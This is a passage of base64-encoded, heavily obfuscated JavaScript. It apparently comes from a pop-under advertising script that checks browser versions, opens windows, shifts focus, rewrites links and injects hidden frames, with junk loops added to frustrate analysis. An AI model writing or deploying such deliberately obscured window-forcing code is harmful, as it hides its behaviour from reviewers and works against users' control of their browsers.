dF0sW1hjLmImJlhjLnB0Pj01OSx0aGlzLld0XSxbWGMudXQmJlhjLnB0Pj00Nix0aGlzLld0XV0sZT0wO2U8cltwaV07ZSsrKWlmKHJbZV1bMF0pZm9yKGkgaW4gcltlXVsxXSl7eWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0ocltlXVsxXSxpKSYmKHRoaXMubXRbaV09cltlXVsxXVtpXSk7fX0sZ2V0T3B0aW9uczpmdW5jdGlvbigpe3JldHVybiB0aGlzLk50KCk7fSxOdDpmdW5jdGlvbigpe3ZhciB0LGU7ZT17fTtmb3IodCBpbiB0aGlzLm10KXt5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXSh0aGlzLm10LHQpJiZ0W3BpXT49MyYmKGVbdF09dGhpcy5tdFt0XSk7fXJldHVybiBlO30scXQ6ZnVuY3Rpb24oKXtHYy5KdCgpP3RoaXMuVnQ9Z3U6dHUuYSh0aGlzLm10LmJ0LDEsdGhpcy5tdC5DdCx0aGlzLm10LkV0LHRoaXMubXQuUHQpO319OyhudT1mdW5jdGlvbih0KXt2YXIgZTtlPXRoaXM7dGhpcy5RdD10O3RoaXMuR3Q9dGhpcy5ZdCgpO3RoaXMuS3Q9dGhpcy5adCgpO2l1LlgodGhpcy5HdCxncyxmdW5jdGlvbigpe0dzKGUuS3QpO1pjLlAoZS5HdCk7fSk7fSlbWHRdPXtZdDpmdW5jdGlvbigpe3ZhciB0LEs3LHI3LFE3O0s3PS0xODIwMzgxMDU7cjc9MTk5MDM1MjYxMTtRNz0yO2Zvcih2YXIgajc9MTt3NS5kMShqNy50b1N0cmluZygpLGo3LnRvU3RyaW5nKCkubGVuZ3RoLDg2ODQwKSE9PUs3O2o3Kyspe3Q9WmMueihoYyx7Y2xhc3M6ZnV9LEdyKTtyZXR1cm4gdGhpcy5RdFtTYytHcittY11bWHMrR3IrdHMrR3IrbmNdKCk9PT1Rcj9yaVtRcl1bSXQrR3IrV2VdKHQpOnRoaXMuUXRbX3QrR3IraV1bTmMrR3IrT3NdKHQsdGhpcy5RdFtWcytHcitrc10pLHQ7UTcrPTI7fWlmKHc1LkwxKFE3LnRvU3RyaW5nKCksUTcudG9TdHJpbmcoKS5sZW5ndGgsMzM0MykhPT1yNyl7dD1aYy56KGhjLHtjbGFzczpmdX0sR3IpO3JldHVybiB0aGlzLlF0W1NjKkdyL21jXVtYcypHci10cy1Hci1uY10oKT09UXI/cmlbUXJdW0l0L0dyL1dlXSh0KTp0aGlzLlF0W190L0dyJWldWyhOYy1HcikqT3NdKHQsdGhpcy5RdFsoVnMtR3IpJWtzXSksdDt9fSxadDpmdW5jdGlvbigpe3ZhciB0O3Q9dGhpcztyZXR1cm4gQ28oZnVuY3Rpb24oKXt2YXIgZSxpO2k9VWModC5RdFt4ZV1bc24rR3IrenNdLDEwKTt0LlF0W1NjK0dyK21jXVtYcytHcit0cytHcituY10oKT09PVFyJiYoaT05ZTkpOyhlPV9uK1Z0K2dvK2VyK0RhK1Z0K04rZXIrbG4rVnQraytlcitHcisoS2ErVnQrR3IpK3QuUXRbZnIrR3Ird2NdKyhobytlcitHcikrKG9jK1Z0K0dyKSt0LlF0W2ZyK0dyK2ddKyhobytlcitHcikrKEhpK1Z0K0dyKSt0LlF0W2ZyK0dyK1duXSsoaG8rZXIrR3IpKyhwK1Z0K0dyKSt0LlF0W2ZyK0dyK0NjXSsoaG8rZXIrR3IpKyhzbit3aStMK1Z0K0dyKSsocWMoaSk/MjppKzEpKSE9PXQuR3RbYWErR3IrR2ldKHhlKSYmdC5HdFtsaStHcitHaV0oeGUsZSk7fSwxNTApO319O251Llh0PWZ1bmN0aW9uKHQpe3ZhciBlO3c1Llk0KDEyKTtlPXc1LmM0KHJ1LExpLHdpLHdpLEdyLGllLEdyKTt0W2FhK0dyK0dpXShlKXx8dFthYStHcitHaV0obG8pPT09ZnV8fCh0W2xpK0dyK0dpXShlLDEpLG5ldyBudSh0KSk7fTsoUWM9e2R0OmZ1bmN0aW9uKCl7dmFyIHQsZTtlPXRoaXMuZWUoKTtmb3IodD0wO3Q8ZVtwaV07dCsrKWlmKGVbdF1bMV0oKT09PWd1KXtyZXR1cm4gZVt0XVswXTt9cmV0dXJuIHl1O30sZWU6ZnVuY3Rpb24oKXt2YXIgdDt0PVtdO3JldHVybiBYYy5vdHx8WGMuaXQ/W106KHRbTXJdKFt0aGlzLmllLGZ1bmN0aW9uKCl7cmV0dXJuIFhjLmImJlhjLnB0Pj02NCYmWGMucHQ8Njc7fV0pLHRbTXJdKFt0aGlzLm5lLGZ1bmN0aW9uKCl7cmV0dXJuIFhjLmImJlpjLlkoKSYmWGMubnQmJlhjLnB0Pj00MyYmWGMucHQ8NjQ7fV0pLHRbTXJdKFt0aGlzLnJlLGZ1bmN0aW9uKCl7dmFyIGI3LHE3LG03O2I3PS02MDMwNTI0OTU7cTc9LTQwNjg3OTgwNDttNz0yO2Zvcih2YXIgSTc9MTt3NS5MMShJNy50b1N0cmluZygpLEk3LnRvU3RyaW5nKCkubGVuZ3RoLDU1NDM5KSE9PWI3O0k3Kyspe3JldHVybiBYYy5ifHxaYy5ZKCl8fFhjLm18fFhjLnB0PD0xN3x8WGMucHQ+PTg5O203Kz0yO31pZih3NS5MMShtNy50b1N0cmluZygpLG03LnRvU3RyaW5nKCkubGVuZ3RoLDYyMDk0KSE9PXE3KXtyZXR1cm4gWGMuYnx8WmMuWSgpfHxYYy5tfHxYYy5wdDw9MTd8fFhjLnB0Pj04OTt9cmV0dXJuIFhjLmImJlpjLlkoKSYmWGMubSYmWGMucHQ+PTQ5JiZYYy5wdDw2NDt9XSksdFtNcl0oW3RoaXMub2UsZnVuY3Rpb24oKXtyZXR1cm4gWGMuZDt9XSksdFtNcl0oW3RoaXMuc2UsZnVuY3Rpb24oKXtyZXR1cm4gWGMuZyYmWGMucHQ+PTExO31dKSx0W01yXShbdGhpcy5hZSxmdW5jdGlvbigpe3JldHVybiBYYy5odDt9XSksdFtNcl0oW3RoaXMuY2UsZnVuY3Rpb24oKXt2YXIgVDAsRTAsbzA7VDA9MTIwNjMzNjEyMTtFMD0xMjk2MjQyMjUyO28wPTI7Zm9yKHZhciBwMD0xO3c1LmQxKHAwLnRvU3RyaW5nKCkscDAudG9TdHJpbmcoKS5sZW5ndGgsNDUyNzYpIT09VDA7cDArKyl7cmV0dXJuIFhjLnV0fHxYYy5udHx8WGMucHQ+PTc0O28wKz0yO31pZih3NS5MMShvMC50b1N0cmluZygpLG8wLnRvU3RyaW5nKCkubGVuZ3RoLDY1MzgpIT09RTApe3JldHVybiBYYy51dCYmWGMubnQmJlhjLnB0PD00ODt9fV0pLHQpO319KS50ZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMudGVbWHRdPXtfZTprdSx1ZTpmdW5jdGlvbih0KXt2YXIgcjUsUTUsZTU7cjU9LTk1ODI4OTMwMTtRNT0tNjIxNDQ4NDIyO2U1PTI7Zm9yKHZhciBaNT0xO3c1LmQxKFo1LnRvU3RyaW5nKCksWjUudG9TdHJpbmcoKS5sZW5ndGgsOTUyNjgpIT09cjU7WjUrKyl7dGhpcy5mZT10O2U1Kz0yO31pZih3NS5MMShlNS50b1N0cmluZygpLGU1LnRvU3RyaW5nKCkubGVuZ3RoLDE0MzU1KSE9PVE1KXt0aGlzLmZlPXQ7fX0sbGU6a3UscGU6ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG8scyxhO2k9dGhpcztuPWkuZmU7cj1uLkh0KCk7bz1uLm10O3M9by53dHx8WmMuJCg1KTthPVpjLmsobyk7aWYodD1mdW5jdGlvbigpe3RyeXtpZih0eXBlb2Ygby5GdD09PVpzJiZvLkZ0W0NpXShuLHIsbyk9PT15dSl7cmV0dXJuIHl1O319Y2F0Y2godCl7S2MuZSh0KTt9cmV0dXJuIG11O30sZT1mdW5jdGlvbih0KXtpZih0eXBlb2Ygby5TdD09PVpzKXRyeXtvLlN0W0NpXShuLHIsbyx0KTt9Y2F0Y2godCl7S2MuZSh0KTt9fSx0KCk9PT15dSl7cmV0dXJuIHl1O310eXBlb2Ygb1t6XT09PVRjJiZvW3pdIT09ciYmKHI9b1t6XSk7R2MuanQoby5qdCk7dGhpcy5fZSgpO3RyeXtyZXR1cm4gdGhpcy5sZShyLG8scyxhLGZ1bmN0aW9uKHQpe2kuZGUodCk7aS5oZSYmR2MuaGUoKTtlKHQpO30pO31jYXRjaCh0KXtyZXR1cm4gS2MuZSh0KSx5dTt9fSx2ZTpmdW5jdGlvbih0LGUsaSl7cmV0dXJuKEdjLm10LmJlP1pjLkM6QXUpKHQsZSxpKTt9LGRlOmt1LGhlOmd1fTtRYy5tZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMubWVbWHRdPVpjLnkoUWMudGVbWHRdLHtoZTp5dSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3IodGhpcy52ZSh0LGksbikpO319KTtRYy5nZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMuZ2VbWHRdPVpjLnkoUWMudGVbWHRdLHtoZTohWGMub3QmJiFYYy5kLGxlOmZ1bmN0aW9uKHQsZSxpLG4scil7cih0aGlzLnZlKHQsRmkpKTt9fSk7UWMueWU9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLnllW1h0XT1aYy55KFFjLnRlW1h0XSx7a2U6ZnVuY3Rpb24oKXt2YXIgdCxlLGk7dD1HYy53ZSgpO2U9R2MueGUuUztpPXR5cGVvZiBHYy5tdC5PZT09PVpzP0djLm10Lk9lW0NpXSgpOkdjLm10Lk9lO3JldHVybiBmdW5jdGlvbigpe3ZhciBuLHI7cmV0dXJuIGkhPT1GdT9pOihuPVpjLiQoMSkscj1lP2k6R2MuQ2UodCl8fGksZXUucygpfHwhWGMub3QmJiFYYy5nP3I6KHR1LmEoY3UsbixtdSkscltaXSh2cixHcikrKEdyK3NlK0dyKStuKSk7fSgpO30sbGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgeDksejksaDksbyxzLGEsYyx1LGgsZixwO3g5PTE3MTA2NjI4Nzg7ejk9LTEwMzk3MjE3MTM7aDk9Mjtmb3IodmFyIEw5PTE7dzUuZDEoTDkudG9TdHJpbmcoKSxMOS50b1N0cmluZygpLmxlbmd0aCwzMDE4NykhPT14OTtMOSsrKXtoOSs9Mjt9aWYodzUuZDEoaDkudG9TdHJpbmcoKSxoOS50b1N0cmluZygpLmxlbmd0aCw0NTQ4MCkhPT16OSl7fWE9dGhpcy5rZSgpO2M9R2Mud2UoKTt1PVpjLk4oYyk7aD0xNTtmPVtdO3A9ZnVuY3Rpb24odCl7dmFyIGU7dHlwZW9mIHRbQW5dPT09WnMmJihlPXRbQW5dLGl1LlgodCxncyxlKSk7dFtBbl09ZnVuY3Rpb24oKXtyZXR1cm4geXU7fTt9O2ZvcihHYy5FZSgpLGMmJmNbU2MrR3IrbWNdPT09T24mJmNbYWErR3IrR2ldKFRpKSE9PUZpJiZaYy5mKGMsdW4pJiYocChjKSwwIT09Y1thYStHcitHaV0odW4pW0wrR3IrV2FdKEN0KSYmKGE9Y1thYStHcitHaV0odW4pKT09PUdyJiYoYT1GdSkpLGMmJmNbU2MrR3IrbWNdPT09T24mJmNbYWErR3IrR2ldKFRpKT09PUZpJiZaYy5mKGMsdW4pJiYocChjKSxpbyhmdW5jdGlvbigpe2NbQW5dPW11O30sM2UzKSxHYy5tdC5QZT9hPWNbYWErR3IrR2ldKHVuKTooYT1GdSxYYy5vdCYmKFhjLnV0P2ZbTXJdKGZ1bmN0aW9uKCl7QXUoY1thYStHcitHaV0odW4pLEZpKTt9KTppbyhmdW5jdGlvbigpe0F1KGNbYWErR3IrR2ldKHVuKSxGaSk7fSwyMCkpKSksWGMuZXQmJlhjLnV0fHxYYy5ldCYmWGMuc3QmJiFYYy5kJiYhWGMuYiYmIVhjLmh0PyhBdShhLEZpKSxaYy5IKEJyLGZ1bmN0aW9uKCl7WmMuVCh0KTt9LGgpKTohWGMub3QmJlpjLmgoYyxUaSkhPT1GaSYmKFhjLnV0JiZYYy5zdHx8WGMuaHQmJlhjLnB0PDEwfHxYYy5iJiZYYy5wdDw0MSk/WGMudXQ/KFpjLlEoYSksWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6KFpjLlEodCksY1tTYytHcittY109PT1PbiYmdSYmWmMuVCh1KSk6WGMuZXQmJlhjLmQ/KG89QXUoYSxGaSksWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6KG89eVtRYV0oVWErVnQrY2ksRmkpKT8ob1tFaV1bdW5dPWEsWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6bz1BdSh0LEZpKSxzPTA7czxmW3BpXTtzKyspe2Zbc11bQ2ldKCk7fW8mJnIobyk7fX0pO1FjLm9lPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5vZVtYdF09WmMueShRYy50ZVtYdF0se2hlOnl1LGxlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIG87bz10aGlzLnZlKHQsaSxuKTtvW2tuXSgpO1R1W2JvXSgpO1pjLk0obyk7aW8oZnVuY3Rpb24oKXtyKG8pO30sMWUzKTt9fSk7UWMuY2U9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLmNlW1h0XT1aYy55KFFjLnRlW1h0XSx7bGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO289dGhpcy52ZSh0LGksbik7cz1HYy5UZSgxZTMpO2l1LksoeSxibyxmdW5jdGlvbigpe2lvKGZ1bmN0aW9uKCl7WmMuUChzKTt9LDEwKTt9KTtvW2NjXT1mdW5jdGlvbigpe2lvKGZ1bmN0aW9uKCl7WmMuUChzKTt9LDEwKTt9O3Iobyk7fX0pO1FjLmFlPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5hZVtYdF09WmMueShRYy50ZVtYdF0se2xlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIEQ5LFc5LGw5LG87RDk9MTk0OTIwNzgwOTtXOT04OTkwMjg0O2w5PTI7Zm9yKHZhciBWOT0xO3c1LkwxKFY5LnRvU3RyaW5nKCksVjkudG9TdHJpbmcoKS5sZW5ndGgsNTc4NTApIT09RDk7VjkrKyl7bDkrPTI7fWlmKHc1LkwxKGw5LnRvU3RyaW5nKCksbDkudG9TdHJpbmcoKS5sZW5ndGgsNTEwNjgpIT09Vzkpe315W3NvXT1aYy4kKDUpO289dGhpcy52ZSh0LGksbik7dGhpcy52ZShHcix5W3NvXSxHcik7eVtzb109bXU7cihvKTt9LGhlOnl1fSk7UWMuc2U9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLnNlW1h0XT1aYy55KFFjLnRlW1h0XSx7bGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO289dGhpcy52ZShQdT90OkZ1LGksbik7cz1mdW5jdGlvbigpe29bRWldW3VuXT10O307aXUuSyhvLGtuLHMpO29ba25dKCk7VHVbYm9dKCk7aW8ocywxMDApO3Iobyk7fSxoZTp5dX0pO1FjLm5lPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5uZVtYdF09WmMueShRYy50ZVtYdF0se0ZlOmZ1bmN0aW9uKCl7dmFyIHQsZTtlPVpjLnooYXIse2RhdGE6WmMuTChlbitQZStNYyx0aGlzLkFlKStaYy4kKDMpfSk7cmV0dXJuKHQ9WmMueihoYyx7c3R5bGU6UGkrVnQrYStlcitvYytWdCtIcytlcitLYStWdCtIcytlcitEYStWdCtOK2VyK3ArVnQrRnIrSGErR3IrZXIrSGkrVnQrem4rZXIrayt3aStHYStWdCtYaStlciskbytWdCthK2VyK0dyfSkpW0l0K0dyK1dlXShlKSxbZSx0XTt9LFNlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9WmMueSh0LHt9KTtyZXR1cm4gZVtwXT1lW0hpXT05ZTUsZVtvY109ZVtLYV09MSxlO30sQWU6THQrR3IrdGErR3IrRmMrR3IrUHMrR3Irb24rR3IrV2MrR3IreG8rR3IrJCtHcithaStHcituK0dyK1NhK0dyK0tyK0dyK1F0K0dyK2t0K0dyK3p0K0dyK3RjK0dyK1l0K0dyK3ZhK0dyK3MrR3IrdmErdWMraG4rR3IrTGErR3IrenQrR3IrVytHcitEYytHcitaYStHcittdCtHcitWaStHcitzYStHcitVZStHcitUYStHcit2YStHcitWaStHcitQcitHcit4bytHcitVZStHcitpYytHcitwbytHcitLcitHcitKK0dyK2hzK0dyK1ppK0dyK3ZhK0dyK1ByK0dyK0xhK0dyK3p0K0dyK1crR3IrRmMrR3IrdGMrR3IrWGErR3IrVHMrR3IrWmkrR3IrdmErR3IrUHIrR3IrSGUrR3IrenQrR3IrVytHcitGYytHcit0YytHcityYytHcithZStHcit2aStHcit2YStHcitQcitHcitydCtHcitwcytHcittdCtHcituYStHcitUbytHcityZStHcit4bytHcit0YStHcitqaStHcitXK0dyK2F0K0dyK3ZhK0dyK1ByK0dyK2MrR3IrYit1YytFK0dyK1FvK0dyK3BzK0dyK2RjK0dyK1l0K0dyK3ZhK0dyK1lhK0dyK1hhK0dyK1RzK0dyK1ppK0dyK3ZhK0dyK0dlK0dyK09lK0dyK2dhK0dyK0hvK0dyK3ZhK0dyK1ByK0dyK2t0K0dyK3p0K0dyK1crR3IrRmMrR3IrdGMrR3IrdmErR3Ircm4rdWMrQnQrR3IrVm4rR3IrRStHcitucitHcitrdCtHcit6dCtHcitXK0dyK0RjK0dyK1phK0dyK210K0dyK1ZpK0dyK09lK0dyK1krR3IrS3QrR3IreG8rR3IrVWUrR3IrYnMrR3IrRnQrR3IrUG8rR3IrRStHcitVZStHcitiaStHcitVZStHcitTZStHcitWcitHcitEcytHcit4bytHcitVZStHcitHbytHcit2YStHcitQdCtHcitVZStHcitScitHcit5YytHcitPZStHcitWbytHcitLcitHcit2YytHcitiZStHcitzK0dyK3hjK0dyK0tvK0dyK3IrR3IrYWkrR3IrZnQrdWMrQnQrR3IrVm4rR3IrRStHcitucitHcitBZStHcit6dCtHcitXK0dyK0RjK0dyK1phK0dyK210K0dyK1ZpK0dyK05hK0dyK1RzK0dyK010K0dyK2hyK0dyK1lzK0dyK0tzK0dyK0UrR3IrVWUrR3IrZm4rR3IrcmMrR3IrYWUrR3IrRCtHcitMdCtHcitWcitHcit0YStHcittdCtHcitacitHcitWcitHcitPZSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3ZhciBzLGEsYyx1LGg7dT10aGlzO2g9eXU7dHJ5eyhhPXRoaXMudmUoVWErVnQrY2ksRmkpKVttcl1bcnJdKHc1LnU0KHVyLEdyLEdyLGpvLFBlLHVpLEdyLFFyLEdyLFBlLG8sR3IsdWksdWksR3IsdXIsUGUsR3IsdXIsam8sR3IsdXIsbyx1aSxHcix1cixHcix1aSxRcix1cix1aSx3NS5ZNCgxMykpKTtpdS5LKGEscWEsZnVuY3Rpb24oKXtmdW5jdGlvbiBmKCl7bigpO2FbSW9dKCk7bygpO3JvKGMpO31ofHwoaD1ndSxzPWFbQmNdPUF1KFVhK1Z0K2NpLGksWmMuayh1LlNlKGUpKSksaXUuWChhLGJvLGYpLGM9aW8oZiwzZTMpLGFbbXJdW1FyXVtQYStHcithaStHcit4YytHcit6dCtHcitwYV09dS5GZSgpWzFdW1BuK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXSk7ZnVuY3Rpb24gbigpe3c1Llk0KDE0KTthW21yXVtRcl1bdzUudTQoUGEsenQsR3IsR3IsR3IseGMsR3IsYWkscGEpXT1Hcjt9ZnVuY3Rpb24gbygpe3ZhciBhMSxZMSxmMTthMT0tMTU2OTI3MTMyMDtZMT0yMzc1ODcyNDtmMT0yO2Zvcih2YXIgRDE9MTt3NS5MMShEMS50b1N0cmluZygpLEQxLnRvU3RyaW5nKCkubGVuZ3RoLDk0NDMyKSE9PWExO0QxKyspe3NbRWMlR3ItYmFdKGVbSGldLGVbcF0pO3NbZGElR3IqYmFdKGVbb2NdLGVbS2FdKTtzW0VpXVtaXSh0KTtyKHMpO2YxKz0yO31pZih3NS5kMShmMS50b1N0cmluZygpLGYxLnRvU3RyaW5nKCkubGVuZ3RoLDYyNDUzKSE9PVkxKXtzW0VjJUdyLWJhXShlW0hpXSxlW3BdKTtzW2RhJUdyKmJhXShlW29jXSxlW0thXSk7c1tFaV1bWl0odCk7cihzKTt9c1tFYytHcitiYV0oZVtIaV0sZVtwXSk7c1tkYStHcitiYV0oZVtvY10sZVtLYV0pO3NbRWldW1pdKHQpO3Iocyk7fX0pO31jYXRjaCh0KXt9fX0pO1FjLnJlPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5yZVtYdF09WmMueShRYy5uZVtYdF0se2xlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIG8scztzPVpjLk8oZ3UpO2l1LksoeSxibyxmdW5jdGlvbigpe1pjLlAocyk7b1tFaV1bWl0odCk7cihvKTt9KTt3NS5vNCg0KTtvPXRoaXMudmUodzUuYzQoVWEsVnQsY2kpLEZpKTtzW3RvK0dyK3lhXVttcl1bcnJdKHRoaXMuRmUoKVsxXVtQbitHcithaStHcit4YytHcit6dCtHcitwYV0pO319KTtRYy5pZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMuaWVbWHRdPVpjLnkoUWMudGVbWHRdLHtMZTpmdW5jdGlvbih0KXt2YXIgZSxpLG47aT10aGlzO249eXU7dzUubzQoNCk7ZT10aGlzLnZlKHc1LmM0KFVhLFZ0LGNpKSx0Lnd0fHxGaSx0LkJlfHxHcik7dC56ZSYmKGUmJmVbSW9dKCksbj1ndSk7IW4mJmUmJmlvKGZ1bmN0aW9uKCl7ZVtFaV1bdW5dPXQueHQ7dC5JZSYmaS5JZShlKTt9LDEwMCk7fSx1ZTpmdW5jdGlvbih0KXt2YXIgZSxpLG47bj10aGlzO3RoaXMuamU9ZHJbTW5dKCk7dGhpcy5mZT10O2U9R2Mud2UoKTt3NS5vNCgxNSk7aT1aYy5CKGUsdzUuYzQoZ3QsR3IseGMsR3IsR3IsRmMseGMsR3IsZmMsR3IsVnIpKTsoZVtTYytHcittY109PT1PbiYmZVthYStHcitHaV0oanIpIT09RmkmJiFaYy5TKGUpfHxpJiYhWmMuUyhpKSkmJih0aGlzLmhlPWd1KTtpdS5YKHksSWUsZnVuY3Rpb24gdChlKXt0cnl7ZVtpZV0uamU9PT1uLmplJiZuLkxlKGVbaWVdKTtlW2llXS56ZSYmaXUuWih5LEllLHQpO31jYXRjaCh0KXt9fSk7fSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3RoaXMuSWU9cjt0aGlzLk1lKHtqZTp0aGlzLmplLEJlOm4sSWU6Z3UseHQ6dH0pO3RoaXMuTWUoe2plOnRoaXMuamUsemU6Z3UseHQ6VWErVnQrY2l9KTt9LGhlOnl1LE1lOmZ1bmN0aW9uKHQpe3lbSnQrR3IrWF0odCx5W0VpXVtSb10pO319KTtHYz17X2k6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5RaSgpK3RoaXMuSGkoKT5aYy5HKCk7fSxLaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLm10LkplO30sSmU6ZnVuY3Rpb24oKXt2YXIgdDt0PVpjLngoYXJndW1lbnRzWzBdKT9hcmd1bWVudHNbMF06YXJndW1lbnRzO3JldHVybiB0aGlzLm5uKHQsUm4sdFtwaV0mJnRbMF09PT15dSk7fSxraTpmdW5jdGlvbih0LGUsaSxuKXt0aGlzLk9pKGksdCxndSl8fG4oZ3UseXUpO30sV2k6ZnVuY3Rpb24odCl7dHJ5e3JldHVybiB0W3F0XSYmMCE9PXRbcXRdfHx0aGlzLmNpLkcrMTUwPlpjLkcoKTt9Y2F0Y2godCl7cmV0dXJuIHl1O319LFJpOmZ1bmN0aW9uKCl7dGhpcy5XZT1bXTt9LFlpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubXQucWU7fSxVaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLldlO30sWmU6bXUsVGk6ZnVuY3Rpb24odCl7dmFyIGU7ZT0wO2lmKCF0fHx0aGlzLnFpKHQpKXtyZXR1cm4geXU7fWlmKCF0aGlzLm10LnFlW3BpXXx8dFthYStHcitHaV0obG8pPT09ZnUpe3JldHVybiBndTt9Zm9yKDtlPHRoaXMubXQucWVbcGldO2UrKylpZih0PT09dGhpcy5tdC5xZVtlXXx8dHlwZW9mIHRoaXMubXQucWVbZV09PT1UYyYmKHRbU2MrR3IrbWNdPT09dGhpcy5tdC5xZVtlXVtYcytHcitwcitHcituY10oKXx8WmMuSSh0LHRoaXMubXQucWVbZV0pKXx8WmMuQih0LHRoaXMubXQucWVbZV0pKXtyZXR1cm4gZ3U7fXJldHVybiB5dTt9LHdlOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMueGUuUXQ7fSxMaTpmdW5jdGlvbigpe3ZhciB0LGU7ZT10aGlzO3RoaXMuWmU9WmMueihoYyx7c3R5bGU6b2MrVnQrRnIrSGErR3IrZXIrS2ErVnQrRnIrSGErR3IrZXIrRGErVnQrSXMrZXIrcCtWdCt6bitlcitIaStWdCt6bitlcitzbit3aStMK1Z0K25vK2VyK3h0K1Z0K1hpK2VyK0dyfSxHcik7dD1DbyhmdW5jdGlvbigpe3ZhciBpO2k9cmlbUXJdO2kmJihHcyh0KSxpW0l0K0dyK1dlXShlLlplKSk7fSwxMDApO30saGk6ZnVuY3Rpb24oKXt2YXIgTjksYTksWTksdCxlLGk7Tjk9LTUxNTA4MTc1NzthOT0tMTMwNjg1MTEzNztZOT0yO2Zvcih2YXIgczk9MTt3NS5kMShzOS50b1N0cmluZygpLHM5LnRvU3RyaW5nKCkubGVuZ3RoLDEwMDExKSE9PU45O3M5Kyspe1k5Kz0yO31pZih3NS5MMShZOS50b1N0cmluZygpLFk5LnRvU3RyaW5nKCkubGVuZ3RoLDQ1MzQ0KSE9PWE5KXt9aT10aGlzLlhlLm9pO2Zvcih0PTA7dDx0aGlzLmZpW3BpXSYmKCF0aGlzLnBpKCkmJiF0aGlzLl9pKCkpO3QrKyl7aWYoZT10aGlzLmZpW3RdLHRoaXMuWGUuc2krKyx0aGlzLlhlLm9pPVpjLkcoKSx0aGlzLmxpKGUpPT09eXUpe3JldHVybiB0aGlzLlhlLnNpLS0sdm9pZCh0aGlzLlhlLm9pPWkpO31pPXRoaXMuWGUub2k7ZXUuYShodSx0aGlzLlhlLm9pKTtlLnl0PT09bHUmJmV1LmEodXUsdGhpcy5YZS5zaSk7fX0sT2k6ZnVuY3Rpb24odCxlLGkpe3ZhciBuLHIsbyxzO3c1Lm80KDQpO289dzUuYzQoR3IsVHQsR3IpO3c1Llk0KDIpO3M9dzUuYzQobyx0KTtmb3Iobj0wO248ZVtwaV07bisrKWlmKHI9KEdyK090K0dyK1R0K0dyKVtMK0dyK1dhXShlW25dWzBdKT4tMT9lW25dOm8rZVtuXSxzW2ZzXShzW3BpXS1yW3BpXSk9PT1yfHxpJiZyPT09d3Upe3JldHVybiBndTt9cmV0dXJuIHl1O30sZW46ZnVuY3Rpb24odCxlKXt2YXIgTDAsZDAsTzAsaSxuO0wwPTEyMjU5MjUxNjQ7ZDA9LTc2NDA0NzIyNjtPMD0yO2Zvcih2YXIgQzA9MTt3NS5MMShDMC50b1N0cmluZygpLEMwLnRvU3RyaW5nKCkubGVuZ3RoLDk4MzQ3KSE9PUwwO0MwKyspe08wKz0yO31pZih3NS5MMShPMC50b1N0cmluZygpLE8wLnRvU3RyaW5nKCkubGVuZ3RoLDg1NTk4KSE9PWQwKXt9aT10aGlzO249dGhpcy50bih0LGUpO3RoaXMuV2VbTXJdKG4pO3RoaXMuRGkobik7dGhpcy5pbnx8KEdjLkNpKCksZnVuY3Rpb24oKXt2YXIgdCxlO1hjLmImJigoZT1yaVtVcytHcitDbl0oaGMpKVtSYytHcitpdF0oVmEsZnVuY3Rpb24oKXtDdT1ndTt9KSxDdT1vNSx0PUNvKGZ1bmN0aW9uKCl7aWYoQ3U9eXUsIWkubXQuUmUpe2lmKHR5cGVvZiB5W3dzXSE9PWFyfHx0eXBlb2YgeVt3c11bT29dIT09WnMpe3JldHVybiBDdT1vNSx2b2lkIEdzKHQpO315W3dzXVtPb10oZSk7eVt3c11bTWldKCk7fX0sNTAwKSk7fSgpLHRoaXMuaW49bzUpO30sUGk6ZnVuY3Rpb24odCl7cmV0dXJuIHRoaXMuSmkoKSx0P3RoaXMuZmlbcGldOnRoaXMuZmlbcGldPjA7fSx2aTpmdW5jdGlvbigpe3ZhciB0LGU7dD1aYy5HKCk7ZT1aYy5HKGF1KTt3NS5ZNCgxNik7dGhpcy5YZS5yaT13NS5jNChlLHQsMzE1MzYwMDAwMDApO3RoaXMuWGUucmkmJih0aGlzLmxpPWt1KTt9LEJpOmZ1bmN0aW9uKCl7dmFyIHQ7dD1VYyhldS5jKGh1KSwxMCk7cWModCkmJih0PTApO3RoaXMuWGUub2k9dDt9LENlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9WmMuTih0KTtyZXR1cm4gZSYmIXRoaXMubXQuTmUmJlpjLlModCk/eXU6ZTt9LGp0OmZ1bmN0aW9uKHQpe3ZhciBlLGksbjtlPXR5cGVvZiB0PT09Z2U/Z3U6ISF0O3c1Lm80KDIpO2k9dzUuYzQocnUsSSk7bj1yaVthYStHcitDbitHcitpaStHcit0bl0oaSk7ZT9ufHwobj1aYy56KERvLHtjb250ZW50OkljK3dpK2lhLG5hbWU6aWEsaWQ6aX0pLHJpW2FhK0dyK1JlK0dyK2lpK0dyK1Jp